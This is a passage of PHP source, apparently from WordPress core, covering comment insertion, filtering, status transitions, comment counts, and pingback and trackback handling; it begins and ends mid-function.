delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' ); /** * Fires immediately after a comment is unmarked as Spam. * * @since 2.9.0 * @since 4.9.0 Added the `$comment` parameter. * * @param int $comment_id The comment ID. * @param WP_Comment $comment The comment unmarked as spam. */ do_action( 'unspammed_comment', $comment->comment_ID, $comment ); return true; } return false; } /** * The status of a comment by ID. * * @since 1.0.0 * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object * @return string|false Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure. */ function wp_get_comment_status( $comment_id ) { $comment = get_comment( $comment_id ); if ( ! $comment ) { return false; } $approved = $comment->comment_approved; if ( null == $approved ) { return false; } elseif ( '1' == $approved ) { return 'approved'; } elseif ( '0' == $approved ) { return 'unapproved'; } elseif ( 'spam' === $approved ) { return 'spam'; } elseif ( 'trash' === $approved ) { return 'trash'; } else { return false; } } /** * Call hooks for when a comment status transition occurs. * * Calls hooks for comment status transitions. If the new comment status is not the same * as the previous comment status, then two hooks will be ran, the first is * {@see 'transition_comment_status'} with new status, old status, and comment data. * The next action called is {@see 'comment_$old_status_to_$new_status'}. It has * the comment data. * * The final action will run whether or not the comment statuses are the same. * The action is named {@see 'comment_$new_status_$comment->comment_type'}. * * @since 2.7.0 * * @param string $new_status New comment status. * @param string $old_status Previous comment status. * @param WP_Comment $comment Comment object. */ function wp_transition_comment_status( $new_status, $old_status, $comment ) { /* * Translate raw statuses to human-readable formats for the hooks. * This is not a complete list of comment status, it's only the ones * that need to be renamed. */ $comment_statuses = array( 0 => 'unapproved', 'hold' => 'unapproved', // wp_set_comment_status() uses "hold". 1 => 'approved', 'approve' => 'approved', // wp_set_comment_status() uses "approve". ); if ( isset( $comment_statuses[ $new_status ] ) ) { $new_status = $comment_statuses[ $new_status ]; } if ( isset( $comment_statuses[ $old_status ] ) ) { $old_status = $comment_statuses[ $old_status ]; } // Call the hooks. if ( $new_status != $old_status ) { /** * Fires when the comment status is in transition. * * @since 2.7.0 * * @param int|string $new_status The new comment status. * @param int|string $old_status The old comment status. * @param WP_Comment $comment Comment object. */ do_action( 'transition_comment_status', $new_status, $old_status, $comment ); /** * Fires when the comment status is in transition from one specific status to another. * * The dynamic portions of the hook name, `$old_status`, and `$new_status`, * refer to the old and new comment statuses, respectively. * * @since 2.7.0 * * @param WP_Comment $comment Comment object. */ do_action( "comment_{$old_status}_to_{$new_status}", $comment ); } /** * Fires when the status of a specific comment type is in transition. * * The dynamic portions of the hook name, `$new_status`, and `$comment->comment_type`, * refer to the new comment status, and the type of comment, respectively. * * Typical comment types include an empty string (standard comment), 'pingback', * or 'trackback'. * * @since 2.7.0 * * @param int $comment_ID The comment ID. * @param WP_Comment $comment Comment object. */ do_action( "comment_{$new_status}_{$comment->comment_type}", $comment->comment_ID, $comment ); } /** * Clear the lastcommentmodified cached value when a comment status is changed. * * Deletes the lastcommentmodified cache key when a comment enters or leaves * 'approved' status. * * @since 4.7.0 * @access private * * @param string $new_status The new comment status. * @param string $old_status The old comment status. */ function _clear_modified_cache_on_transition_comment_status( $new_status, $old_status ) { if ( 'approved' === $new_status || 'approved' === $old_status ) { foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) { wp_cache_delete( "lastcommentmodified:$timezone", 'timeinfo' ); } } } /** * Get current commenter's name, email, and URL. * * Expects cookies content to already be sanitized. User of this function might * wish to recheck the returned array for validity. * * @see sanitize_comment_cookies() Use to sanitize cookies * * @since 2.0.4 * * @return array { * An array of current commenter variables. * * @type string $comment_author The name of the current commenter, or an empty string. * @type string $comment_author_email The email address of the current commenter, or an empty string. * @type string $comment_author_url The URL address of the current commenter, or an empty string. * } */ function wp_get_current_commenter() { // Cookies should already be sanitized. $comment_author = ''; if ( isset( $_COOKIE[ 'comment_author_' . COOKIEHASH ] ) ) { $comment_author = $_COOKIE[ 'comment_author_' . COOKIEHASH ]; } $comment_author_email = ''; if ( isset( $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] ) ) { $comment_author_email = $_COOKIE[ 'comment_author_email_' . COOKIEHASH ]; } $comment_author_url = ''; if ( isset( $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] ) ) { $comment_author_url = $_COOKIE[ 'comment_author_url_' . COOKIEHASH ]; } /** * Filters the current commenter's name, email, and URL. * * @since 3.1.0 * * @param array $comment_author_data { * An array of current commenter variables. * * @type string $comment_author The name of the current commenter, or an empty string. * @type string $comment_author_email The email address of the current commenter, or an empty string. * @type string $comment_author_url The URL address of the current commenter, or an empty string. * } */ return apply_filters( 'wp_get_current_commenter', compact( 'comment_author', 'comment_author_email', 'comment_author_url' ) ); } /** * Get unapproved comment author's email. * * Used to allow the commenter to see their pending comment. * * @since 5.1.0 * @since 5.7.0 The window within which the author email for an unapproved comment * can be retrieved was extended to 10 minutes. * * @return string The unapproved comment author's email (when supplied). */ function wp_get_unapproved_comment_author_email() { $commenter_email = ''; if ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) { $comment_id = (int) $_GET['unapproved']; $comment = get_comment( $comment_id ); if ( $comment && hash_equals( $_GET['moderation-hash'], wp_hash( $comment->comment_date_gmt ) ) ) { // The comment will only be viewable by the comment author for 10 minutes. $comment_preview_expires = strtotime( $comment->comment_date_gmt . '+10 minutes' ); if ( time() < $comment_preview_expires ) { $commenter_email = $comment->comment_author_email; } } } if ( ! $commenter_email ) { $commenter = wp_get_current_commenter(); $commenter_email = $commenter['comment_author_email']; } return $commenter_email; } /** * Inserts a comment into the database. * * @since 2.0.0 * @since 4.4.0 Introduced the `$comment_meta` argument. * @since 5.5.0 Default value for `$comment_type` argument changed to `comment`. * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $commentdata { * Array of arguments for inserting a new comment. * * @type string $comment_agent The HTTP user agent of the `$comment_author` when * the comment was submitted. Default empty. * @type int|string $comment_approved Whether the comment has been approved. Default 1. * @type string $comment_author The name of the author of the comment. Default empty. * @type string $comment_author_email The email address of the `$comment_author`. Default empty. * @type string $comment_author_IP The IP address of the `$comment_author`. Default empty. * @type string $comment_author_url The URL address of the `$comment_author`. Default empty. * @type string $comment_content The content of the comment. Default empty. * @type string $comment_date The date the comment was submitted. To set the date * manually, `$comment_date_gmt` must also be specified. * Default is the current time. * @type string $comment_date_gmt The date the comment was submitted in the GMT timezone. * Default is `$comment_date` in the site's GMT timezone. * @type int $comment_karma The karma of the comment. Default 0. * @type int $comment_parent ID of this comment's parent, if any. Default 0. * @type int $comment_post_ID ID of the post that relates to the comment, if any. * Default 0. * @type string $comment_type Comment type. Default 'comment'. * @type array $comment_meta Optional. Array of key/value pairs to be stored in commentmeta for the * new comment. * @type int $user_id ID of the user who submitted the comment. Default 0. * } * @return int|false The new comment's ID on success, false on failure. */ function wp_insert_comment( $commentdata ) { global $wpdb; $data = wp_unslash( $commentdata ); $comment_author = ! isset( $data['comment_author'] ) ? '' : $data['comment_author']; $comment_author_email = ! isset( $data['comment_author_email'] ) ? '' : $data['comment_author_email']; $comment_author_url = ! isset( $data['comment_author_url'] ) ? '' : $data['comment_author_url']; $comment_author_IP = ! isset( $data['comment_author_IP'] ) ? '' : $data['comment_author_IP']; $comment_date = ! isset( $data['comment_date'] ) ? current_time( 'mysql' ) : $data['comment_date']; $comment_date_gmt = ! isset( $data['comment_date_gmt'] ) ? get_gmt_from_date( $comment_date ) : $data['comment_date_gmt']; $comment_post_ID = ! isset( $data['comment_post_ID'] ) ? 0 : $data['comment_post_ID']; $comment_content = ! isset( $data['comment_content'] ) ? '' : $data['comment_content']; $comment_karma = ! isset( $data['comment_karma'] ) ? 0 : $data['comment_karma']; $comment_approved = ! isset( $data['comment_approved'] ) ? 1 : $data['comment_approved']; $comment_agent = ! isset( $data['comment_agent'] ) ? '' : $data['comment_agent']; $comment_type = empty( $data['comment_type'] ) ? 'comment' : $data['comment_type']; $comment_parent = ! isset( $data['comment_parent'] ) ? 0 : $data['comment_parent']; $user_id = ! isset( $data['user_id'] ) ? 0 : $data['user_id']; $compacted = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_karma', 'comment_approved', 'comment_agent', 'comment_type', 'comment_parent', 'user_id' ); if ( ! $wpdb->insert( $wpdb->comments, $compacted ) ) { return false; } $id = (int) $wpdb->insert_id; if ( 1 == $comment_approved ) { wp_update_comment_count( $comment_post_ID ); foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) { wp_cache_delete( "lastcommentmodified:$timezone", 'timeinfo' ); } } clean_comment_cache( $id ); $comment = get_comment( $id ); // If metadata is provided, store it. if ( isset( $commentdata['comment_meta'] ) && is_array( $commentdata['comment_meta'] ) ) { foreach ( $commentdata['comment_meta'] as $meta_key => $meta_value ) { add_comment_meta( $comment->comment_ID, $meta_key, $meta_value, true ); } } /** * Fires immediately after a comment is inserted into the database. * * @since 2.8.0 * * @param int $id The comment ID. * @param WP_Comment $comment Comment object. */ do_action( 'wp_insert_comment', $id, $comment ); return $id; } /** * Filters and sanitizes comment data. * * Sets the comment data 'filtered' field to true when finished. This can be * checked as to whether the comment should be filtered and to keep from * filtering the same comment more than once. * * @since 2.0.0 * * @param array $commentdata Contains information on the comment. * @return array Parsed comment information. */ function wp_filter_comment( $commentdata ) { if ( isset( $commentdata['user_ID'] ) ) { /** * Filters the comment author's user ID before it is set. * * The first time this filter is evaluated, 'user_ID' is checked * (for back-compat), followed by the standard 'user_id' value. * * @since 1.5.0 * * @param int $user_ID The comment author's user ID. */ $commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_ID'] ); } elseif ( isset( $commentdata['user_id'] ) ) { /** This filter is documented in wp-includes/comment.php */ $commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_id'] ); } /** * Filters the comment author's browser user agent before it is set. * * @since 1.5.0 * * @param string $comment_agent The comment author's browser user agent. */ $commentdata['comment_agent'] = apply_filters( 'pre_comment_user_agent', ( isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : '' ) ); /** This filter is documented in wp-includes/comment.php */ $commentdata['comment_author'] = apply_filters( 'pre_comment_author_name', $commentdata['comment_author'] ); /** * Filters the comment content before it is set. * * @since 1.5.0 * * @param string $comment_content The comment content. */ $commentdata['comment_content'] = apply_filters( 'pre_comment_content', $commentdata['comment_content'] ); /** * Filters the comment author's IP address before it is set. * * @since 1.5.0 * * @param string $comment_author_ip The comment author's IP address. */ $commentdata['comment_author_IP'] = apply_filters( 'pre_comment_user_ip', $commentdata['comment_author_IP'] ); /** This filter is documented in wp-includes/comment.php */ $commentdata['comment_author_url'] = apply_filters( 'pre_comment_author_url', $commentdata['comment_author_url'] ); /** This filter is documented in wp-includes/comment.php */ $commentdata['comment_author_email'] = apply_filters( 'pre_comment_author_email', $commentdata['comment_author_email'] ); $commentdata['filtered'] = true; return $commentdata; } /** * Whether a comment should be blocked because of comment flood. * * @since 2.1.0 * * @param bool $block Whether plugin has already blocked comment. * @param int $time_lastcomment Timestamp for last comment. * @param int $time_newcomment Timestamp for new comment. * @return bool Whether comment should be blocked. */ function wp_throttle_comment_flood( $block, $time_lastcomment, $time_newcomment ) { if ( $block ) { // A plugin has already blocked... we'll let that decision stand. return $block; } if ( ( $time_newcomment - $time_lastcomment ) < 15 ) { return true; } return false; } /** * Adds a new comment to the database. * * Filters new comment to ensure that the fields are sanitized and valid before * inserting comment into database. Calls {@see 'comment_post'} action with comment ID * and whether comment is approved by WordPress. Also has {@see 'preprocess_comment'} * filter for processing the comment data before the function handles it. * * We use `REMOTE_ADDR` here directly. If you are behind a proxy, you should ensure * that it is properly set, such as in wp-config.php, for your environment. * * See {@link https://core.trac.wordpress.org/ticket/9235} * * @since 1.5.0 * @since 4.3.0 Introduced the `comment_agent` and `comment_author_IP` arguments. * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function * to return a WP_Error object instead of dying. * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`. * @since 5.5.0 Introduced the `comment_type` argument. * * @see wp_insert_comment() * @global wpdb $wpdb WordPress database abstraction object. * * @param array $commentdata { * Comment data. * * @type string $comment_author The name of the comment author. * @type string $comment_author_email The comment author email address. * @type string $comment_author_url The comment author URL. * @type string $comment_content The content of the comment. * @type string $comment_date The date the comment was submitted. Default is the current time. * @type string $comment_date_gmt The date the comment was submitted in the GMT timezone. * Default is `$comment_date` in the GMT timezone. * @type string $comment_type Comment type. Default 'comment'. * @type int $comment_parent The ID of this comment's parent, if any. Default 0. * @type int $comment_post_ID The ID of the post that relates to the comment. * @type int $user_id The ID of the user who submitted the comment. Default 0. * @type int $user_ID Kept for backward-compatibility. Use `$user_id` instead. * @type string $comment_agent Comment author user agent. Default is the value of 'HTTP_USER_AGENT' * in the `$_SERVER` superglobal sent in the original request. * @type string $comment_author_IP Comment author IP address in IPv4 format. Default is the value of * 'REMOTE_ADDR' in the `$_SERVER` superglobal sent in the original request. * } * @param bool $wp_error Should errors be returned as WP_Error objects instead of * executing wp_die()? Default false. * @return int|false|WP_Error The ID of the comment on success, false or WP_Error on failure. */ function wp_new_comment( $commentdata, $wp_error = false ) { global $wpdb; if ( isset( $commentdata['user_ID'] ) ) { $commentdata['user_ID'] = (int) $commentdata['user_ID']; $commentdata['user_id'] = $commentdata['user_ID']; } $prefiltered_user_id = ( isset( $commentdata['user_id'] ) ) ? (int) $commentdata['user_id'] : 0; if ( ! isset( $commentdata['comment_author_IP'] ) ) { $commentdata['comment_author_IP'] = $_SERVER['REMOTE_ADDR']; } if ( ! isset( $commentdata['comment_agent'] ) ) { $commentdata['comment_agent'] = isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : ''; } /** * Filters a comment's data before it is sanitized and inserted into the database. * * @since 1.5.0 * @since 5.6.0 Comment data includes the `comment_agent` and `comment_author_IP` values. * * @param array $commentdata Comment data. */ $commentdata = apply_filters( 'preprocess_comment', $commentdata ); $commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID']; if ( isset( $commentdata['user_ID'] ) && $prefiltered_user_id !== (int) $commentdata['user_ID'] ) { $commentdata['user_ID'] = (int) $commentdata['user_ID']; $commentdata['user_id'] = $commentdata['user_ID']; } elseif ( isset( $commentdata['user_id'] ) ) { $commentdata['user_id'] = (int) $commentdata['user_id']; } $commentdata['comment_parent'] = isset( $commentdata['comment_parent'] ) ? absint( $commentdata['comment_parent'] ) : 0; $parent_status = ( $commentdata['comment_parent'] > 0 ) ? wp_get_comment_status( $commentdata['comment_parent'] ) : ''; $commentdata['comment_parent'] = ( 'approved' === $parent_status || 'unapproved' === $parent_status ) ? $commentdata['comment_parent'] : 0; $commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '', $commentdata['comment_author_IP'] ); $commentdata['comment_agent'] = substr( $commentdata['comment_agent'], 0, 254 ); if ( empty( $commentdata['comment_date'] ) ) { $commentdata['comment_date'] = current_time( 'mysql' ); } if ( empty( $commentdata['comment_date_gmt'] ) ) { $commentdata['comment_date_gmt'] = current_time( 'mysql', 1 ); } if ( empty( $commentdata['comment_type'] ) ) { $commentdata['comment_type'] = 'comment'; } $commentdata = wp_filter_comment( $commentdata ); $commentdata['comment_approved'] = wp_allow_comment( $commentdata, $wp_error ); if ( is_wp_error( $commentdata['comment_approved'] ) ) { return $commentdata['comment_approved']; } $comment_ID = wp_insert_comment( $commentdata ); if ( ! $comment_ID ) { $fields = array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content' ); foreach ( $fields as $field ) { if ( isset( $commentdata[ $field ] ) ) { $commentdata[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->comments, $field, $commentdata[ $field ] ); } } $commentdata = wp_filter_comment( $commentdata ); $commentdata['comment_approved'] = wp_allow_comment( $commentdata, $wp_error ); if ( is_wp_error( $commentdata['comment_approved'] ) ) { return $commentdata['comment_approved']; } $comment_ID = wp_insert_comment( $commentdata ); if ( ! $comment_ID ) { return false; } } /** * Fires immediately after a comment is inserted into the database. * * @since 1.2.0 * @since 4.5.0 The `$commentdata` parameter was added. * * @param int $comment_ID The comment ID. * @param int|string $comment_approved 1 if the comment is approved, 0 if not, 'spam' if spam. * @param array $commentdata Comment data. */ do_action( 'comment_post', $comment_ID, $commentdata['comment_approved'], $commentdata ); return $comment_ID; } /** * Send a comment moderation notification to the comment moderator. * * @since 4.4.0 * * @param int $comment_ID ID of the comment. * @return bool True on success, false on failure. */ function wp_new_comment_notify_moderator( $comment_ID ) { $comment = get_comment( $comment_ID ); // Only send notifications for pending comments. $maybe_notify = ( '0' == $comment->comment_approved ); /** This filter is documented in wp-includes/comment.php */ $maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_ID ); if ( ! $maybe_notify ) { return false; } return wp_notify_moderator( $comment_ID ); } /** * Send a notification of a new comment to the post author. * * @since 4.4.0 * * Uses the {@see 'notify_post_author'} filter to determine whether the post author * should be notified when a new comment is added, overriding site setting. * * @param int $comment_ID Comment ID. * @return bool True on success, false on failure. */ function wp_new_comment_notify_postauthor( $comment_ID ) { $comment = get_comment( $comment_ID ); $maybe_notify = get_option( 'comments_notify' ); /** * Filters whether to send the post author new comment notification emails, * overriding the site setting. * * @since 4.4.0 * * @param bool $maybe_notify Whether to notify the post author about the new comment. * @param int $comment_ID The ID of the comment for the notification. */ $maybe_notify = apply_filters( 'notify_post_author', $maybe_notify, $comment_ID ); /* * wp_notify_postauthor() checks if notifying the author of their own comment. * By default, it won't, but filters can override this. */ if ( ! $maybe_notify ) { return false; } // Only send notifications for approved comments. if ( ! isset( $comment->comment_approved ) || '1' != $comment->comment_approved ) { return false; } return wp_notify_postauthor( $comment_ID ); } /** * Sets the status of a comment. * * The {@see 'wp_set_comment_status'} action is called after the comment is handled. * If the comment status is not in the list, then false is returned. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. * @param string $comment_status New comment status, either 'hold', 'approve', 'spam', or 'trash'. * @param bool $wp_error Whether to return a WP_Error object if there is a failure. Default false. * @return bool|WP_Error True on success, false or WP_Error on failure. */ function wp_set_comment_status( $comment_id, $comment_status, $wp_error = false ) { global $wpdb; switch ( $comment_status ) { case 'hold': case '0': $status = '0'; break; case 'approve': case '1': $status = '1'; add_action( 'wp_set_comment_status', 'wp_new_comment_notify_postauthor' ); break; case 'spam': $status = 'spam'; break; case 'trash': $status = 'trash'; break; default: return false; } $comment_old = clone get_comment( $comment_id ); if ( ! $wpdb->update( $wpdb->comments, array( 'comment_approved' => $status ), array( 'comment_ID' => $comment_old->comment_ID ) ) ) { if ( $wp_error ) { return new WP_Error( 'db_update_error', __( 'Could not update comment status.' ), $wpdb->last_error ); } else { return false; } } clean_comment_cache( $comment_old->comment_ID ); $comment = get_comment( $comment_old->comment_ID ); /** * Fires immediately after transitioning a comment's status from one to another in the database * and removing the comment from the object cache, but prior to all status transition hooks. * * @since 1.5.0 * * @param int $comment_id Comment ID. * @param string $comment_status Current comment status. Possible values include * 'hold', '0', 'approve', '1', 'spam', and 'trash'. */ do_action( 'wp_set_comment_status', $comment->comment_ID, $comment_status ); wp_transition_comment_status( $comment_status, $comment_old->comment_approved, $comment ); wp_update_comment_count( $comment->comment_post_ID ); return true; } /** * Updates an existing comment in the database. * * Filters the comment and makes sure certain fields are valid before updating. * * @since 2.0.0 * @since 4.9.0 Add updating comment meta during comment update. * @since 5.5.0 The `$wp_error` parameter was added. * @since 5.5.0 The return values for an invalid comment or post ID * were changed to false instead of 0. * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $commentarr Contains information on the comment. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @return int|false|WP_Error The value 1 if the comment was updated, 0 if not updated. * False or a WP_Error object on failure. */ function wp_update_comment( $commentarr, $wp_error = false ) { global $wpdb; // First, get all of the original fields. $comment = get_comment( $commentarr['comment_ID'], ARRAY_A ); if ( empty( $comment ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_comment_id', __( 'Invalid comment ID.' ) ); } else { return false; } } // Make sure that the comment post ID is valid (if specified). if ( ! empty( $commentarr['comment_post_ID'] ) && ! get_post( $commentarr['comment_post_ID'] ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_post_id', __( 'Invalid post ID.' ) ); } else { return false; } } // Escape data pulled from DB. $comment = wp_slash( $comment ); $old_status = $comment['comment_approved']; // Merge old and new fields with new fields overwriting old ones. $commentarr = array_merge( $comment, $commentarr ); $commentarr = wp_filter_comment( $commentarr ); // Now extract the merged array. $data = wp_unslash( $commentarr ); /** * Filters the comment content before it is updated in the database. * * @since 1.5.0 * * @param string $comment_content The comment data. */ $data['comment_content'] = apply_filters( 'comment_save_pre', $data['comment_content'] ); $data['comment_date_gmt'] = get_gmt_from_date( $data['comment_date'] ); if ( ! isset( $data['comment_approved'] ) ) { $data['comment_approved'] = 1; } elseif ( 'hold' === $data['comment_approved'] ) { $data['comment_approved'] = 0; } elseif ( 'approve' === $data['comment_approved'] ) { $data['comment_approved'] = 1; } $comment_ID = $data['comment_ID']; $comment_post_ID = $data['comment_post_ID']; /** * Filters the comment data immediately before it is updated in the database. * * Note: data being passed to the filter is already unslashed. * * @since 4.7.0 * @since 5.5.0 Returning a WP_Error value from the filter will short-circuit comment update * and allow skipping further processing. * * @param array|WP_Error $data The new, processed comment data, or WP_Error. * @param array $comment The old, unslashed comment data. * @param array $commentarr The new, raw comment data. */ $data = apply_filters( 'wp_update_comment_data', $data, $comment, $commentarr ); // Do not carry on on failure. if ( is_wp_error( $data ) ) { if ( $wp_error ) { return $data; } else { return false; } } $keys = array( 'comment_post_ID', 'comment_content', 'comment_author', 'comment_author_email', 'comment_approved', 'comment_karma', 'comment_author_url', 'comment_date', 'comment_date_gmt', 'comment_type', 'comment_parent', 'user_id', 'comment_agent', 'comment_author_IP' ); $data = wp_array_slice_assoc( $data, $keys ); $rval = $wpdb->update( $wpdb->comments, $data, compact( 'comment_ID' ) ); if ( false === $rval ) { if ( $wp_error ) { return new WP_Error( 'db_update_error', __( 'Could not update comment in the database.' ), $wpdb->last_error ); } else { return false; } } // If metadata is provided, store it. if ( isset( $commentarr['comment_meta'] ) && is_array( $commentarr['comment_meta'] ) ) { foreach ( $commentarr['comment_meta'] as $meta_key => $meta_value ) { update_comment_meta( $comment_ID, $meta_key, $meta_value ); } } clean_comment_cache( $comment_ID ); wp_update_comment_count( $comment_post_ID ); /** * Fires immediately after a comment is updated in the database. * * The hook also fires immediately before comment status transition hooks are fired. * * @since 1.2.0 * @since 4.6.0 Added the `$data` parameter. * * @param int $comment_ID The comment ID. * @param array $data Comment data. */ do_action( 'edit_comment', $comment_ID, $data ); $comment = get_comment( $comment_ID ); wp_transition_comment_status( $comment->comment_approved, $old_status, $comment ); return $rval; } /** * Whether to defer comment counting. * * When setting $defer to true, all post comment counts will not be updated * until $defer is set to false. When $defer is set to false, then all * previously deferred updated post comment counts will then be automatically * updated without having to call wp_update_comment_count() after. * * @since 2.5.0 * * @param bool $defer * @return bool */ function wp_defer_comment_counting( $defer = null ) { static $_defer = false; if ( is_bool( $defer ) ) { $_defer = $defer; // Flush any deferred counts. if ( ! $defer ) { wp_update_comment_count( null, true ); } } return $_defer; } /** * Updates the comment count for post(s). * * When $do_deferred is false (is by default) and the comments have been set to * be deferred, the post_id will be added to a queue, which will be updated at a * later date and only updated once per post ID. * * If the comments have not be set up to be deferred, then the post will be * updated. When $do_deferred is set to true, then all previous deferred post * IDs will be updated along with the current $post_id. * * @since 2.1.0 * * @see wp_update_comment_count_now() For what could cause a false return value * * @param int|null $post_id Post ID. * @param bool $do_deferred Optional. Whether to process previously deferred * post comment counts. Default false. * @return bool|void True on success, false on failure or if post with ID does * not exist. */ function wp_update_comment_count( $post_id, $do_deferred = false ) { static $_deferred = array(); if ( empty( $post_id ) && ! $do_deferred ) { return false; } if ( $do_deferred ) { $_deferred = array_unique( $_deferred ); foreach ( $_deferred as $i => $_post_id ) { wp_update_comment_count_now( $_post_id ); unset( $_deferred[ $i ] ); /** @todo Move this outside of the foreach and reset $_deferred to an array instead */ } } if ( wp_defer_comment_counting() ) { $_deferred[] = $post_id; return true; } elseif ( $post_id ) { return wp_update_comment_count_now( $post_id ); } } /** * Updates the comment count for the post. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Post ID * @return bool True on success, false if the post does not exist. */ function wp_update_comment_count_now( $post_id ) { global $wpdb; $post_id = (int) $post_id; if ( ! $post_id ) { return false; } wp_cache_delete( 'comments-0', 'counts' ); wp_cache_delete( "comments-{$post_id}", 'counts' ); $post = get_post( $post_id ); if ( ! $post ) { return false; } $old = (int) $post->comment_count; /** * Filters a post's comment count before it is updated in the database. * * @since 4.5.0 * * @param int|null $new The new comment count. Default null. * @param int $old The old comment count. * @param int $post_id Post ID. */ $new = apply_filters( 'pre_wp_update_comment_count_now', null, $old, $post_id ); if ( is_null( $new ) ) { $new = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id ) ); } else { $new = (int) $new; } $wpdb->update( $wpdb->posts, array( 'comment_count' => $new ), array( 'ID' => $post_id ) ); clean_post_cache( $post ); /** * Fires immediately after a post's comment count is updated in the database. * * @since 2.3.0 * * @param int $post_id Post ID. * @param int $new The new comment count. * @param int $old The old comment count. */ do_action( 'wp_update_comment_count', $post_id, $new, $old ); /** This action is documented in wp-includes/post.php */ do_action( "edit_post_{$post->post_type}", $post_id, $post ); /** This action is documented in wp-includes/post.php */ do_action( 'edit_post', $post_id, $post ); return true; } // // Ping and trackback functions. // /** * Finds a pingback server URI based on the given URL. * * Checks the HTML for the rel="pingback" link and x-pingback headers. It does * a check for the x-pingback headers first and returns that, if available. The * check for the rel="pingback" has more overhead than just the header. * * @since 1.5.0 * * @param string $url URL to ping. * @param string $deprecated Not Used. * @return string|false String containing URI on success, false on failure. */ function discover_pingback_server_uri( $url, $deprecated = '' ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.7.0' ); } $pingback_str_dquote = 'rel="pingback"'; $pingback_str_squote = 'rel=\'pingback\''; /** @todo Should use Filter Extension or custom preg_match instead. */ $parsed_url = parse_url( $url ); if ( ! isset( $parsed_url['host'] ) ) { // Not a URL. This should never happen. return false; } // Do not search for a pingback server on our own uploads. $uploads_dir = wp_get_upload_dir(); if ( 0 === strpos( $url, $uploads_dir['baseurl'] ) ) { return false; } $response = wp_safe_remote_head( $url, array( 'timeout' => 2, 'httpversion' => '1.0', ) ); if ( is_wp_error( $response ) ) { return false; } if ( wp_remote_retrieve_header( $response, 'x-pingback' ) ) { return wp_remote_retrieve_header( $response, 'x-pingback' ); } // Not an (x)html, sgml, or xml page, no use going further. if ( preg_match( '#(image|audio|video|model)/#is', wp_remote_retrieve_header( $response, 'content-type' ) ) ) { return false; } // Now do a GET since we're going to look in the HTML headers (and we're sure it's not a binary file). $response = wp_safe_remote_get( $url, array( 'timeout' => 2, 'httpversion' => '1.0', ) ); if ( is_wp_error( $response ) ) { return false; } $contents = wp_remote_retrieve_body( $response ); $pingback_link_offset_dquote = strpos( $contents, $pingback_str_dquote ); $pingback_link_offset_squote = strpos( $contents, $pingback_str_squote ); if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) { $quote = ( $pingback_link_offset_dquote ) ? '"' : '\''; $pingback_link_offset = ( '"' === $quote ) ? $pingback_link_offset_dquote : $pingback_link_offset_squote; $pingback_href_pos = strpos( $contents, 'href=', $pingback_link_offset ); $pingback_href_start = $pingback_href_pos + 6; $pingback_href_end = strpos( $contents, $quote, $pingback_href_start ); $pingback_server_url_len = $pingback_href_end - $pingback_href_start; $pingback_server_url = substr( $contents, $pingback_href_start, $pingback_server_url_len ); // We may find rel="pingback" but an incomplete pingback URL. if ( $pingback_server_url_len > 0 ) { // We got it! return $pingback_server_url; } } return false; } /** * Perform all pingbacks, enclosures, trackbacks, and send to pingback services. * * @since 2.1.0 * @since 5.6.0 Introduced `do_all_pings` action hook for individual services. */ function do_all_pings() { /** * Fires immediately after the `do_pings` event to hook services individually. * * @since 5.6.0 */ do_action( 'do_all_pings' ); } /** * Perform all pingbacks. * * @since 5.6.0 */ function do_all_pingbacks() { $pings = get_posts( array( 'post_type' => get_post_types(), 'suppress_filters' => false, 'nopaging' => true, 'meta_key' => '_pingme', 'fields' => 'ids', ) ); foreach ( $pings as $ping ) { delete_post_meta( $ping, '_pingme' ); pingback( null, $ping ); } } /** * Perform all enclosures. * * @since 5.6.0 */ function do_all_enclosures() { $enclosures = get_posts( array( 'post_type' => get_post_types(), 'suppress_filters' => false, 'nopaging' => true, 'meta_key' => '_encloseme', 'fields' => 'ids', ) ); foreach ( $enclosures as $enclosure ) { delete_post_meta( $enclosure, '_encloseme' ); do_enclose( null, $enclosure ); } } /** * Perform all trackbacks. * * @since 5.6.0 */ function do_all_trackbacks() { $trackbacks = get_posts( array( 'post_type' => get_post_types(), 'suppress_filters' => false, 'nopaging' => true, 'meta_key' => '_trackbackme', 'fields' => 'ids', ) ); foreach ( $trackbacks as $trackback ) { delete_post_meta( $trackback, '_trackbackme' ); do_trackbacks( $trackback ); } } /** * Perform trackbacks. * * @since 1.5.0 * @since 4.7.0 `$post_id` can be a WP_Post object. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post $post_id Post object or ID to do trackbacks on. */ function do_trackbacks( $post_id ) { global $wpdb; $post = get_post( $post_id ); if ( ! $post ) { return false; } $to_ping = get_to_ping( $post ); $pinged = get_pung( $post ); if ( empty( $to_ping ) ) { $wpdb->update( 